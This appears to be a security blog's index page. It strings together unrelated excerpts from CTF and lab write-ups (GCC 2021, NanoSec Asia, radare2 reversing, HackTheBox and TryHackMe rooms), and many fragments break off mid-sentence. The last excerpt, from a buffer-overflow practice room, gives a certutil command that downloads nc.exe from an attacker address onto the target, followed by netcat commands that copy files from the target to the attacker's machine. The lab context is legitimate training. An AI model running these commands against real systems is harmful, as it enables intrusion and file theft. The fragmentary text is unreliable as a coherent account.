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This is my writing on joining GCC Online 2021

What is GCC?

GCC is an annual 1-week international cybersecurity training program.
Each participating country takes responsibility to host each annual edition. (Source:

Mission of GCC

Strengthen the security community across Asia and nurture future global leaders. Annually, the best 48 students (maximum) from member countries gather in one of the participating countries for a week to exchange experiences, forge a life-long friendship, and learn from the best cybersecurity professionals. Non-commercial education programs and communities organize the program supported by industry leaders who care about the safe digitalization of the world.

NanoSec Asia

Writeup by team H0j3n

Category: Web


All my findings of Django will be updated here.



Make sure you have python3 install on your computer.

Python3 Page

Visual Studio Code (Code Editor)

Make sure you have a code editor and preferrable to have visual studio code.


I found several ports open like 21, 22 & 1337.

This is a simple writeup by my team H0j3n.

Reverse Engineering


I’m using radare2 to analyze the binary. By looking at the main I found a strings Tranqulat3d which could be the argument needed but its not the right one

pdf @main

Link to the machine:


By nmap I found 2 ports open

September sure will be busy so let’s pwn some boxes in HTB and training❤

Nmap Results

Step through the looking glass. A sequel to the Wonderland challenge room.


Let’s do nmap first and see what do we get.

There are thousands port are open within range of 9000 to 14000

Port 22

Since there are thousands of ports are open and all of these are ssh. Let's try manual first instead of doing the automation script. When we ssh to a port there is two outputs that we will get which Higher and Lower.

Practice stack-based buffer overflows!

I did not use the RDP inside TryHackMe, instead, I download all the files needed on the machine and put in my own Windows.

How To Transfer The Files?

First, upload our nc.exe on that machine because I can't find nc on the machine,

certutil -urlcache -f http://<IP>/nc.exe c:\Users\admin\Desktop\nc.exe

Then I just use NC to transfer files. I don't know how to transfer all directory so instead, I just transfer each one inside the vulnerable-apps directory.

#On Our Machine
nc -l -p 1234 > oscp.exe
#On Target Machine
nc.exe -w 3 <IP> 1234 < vulnerable-apps\oscp\oscp.exe

Keep doing that and let’s do…


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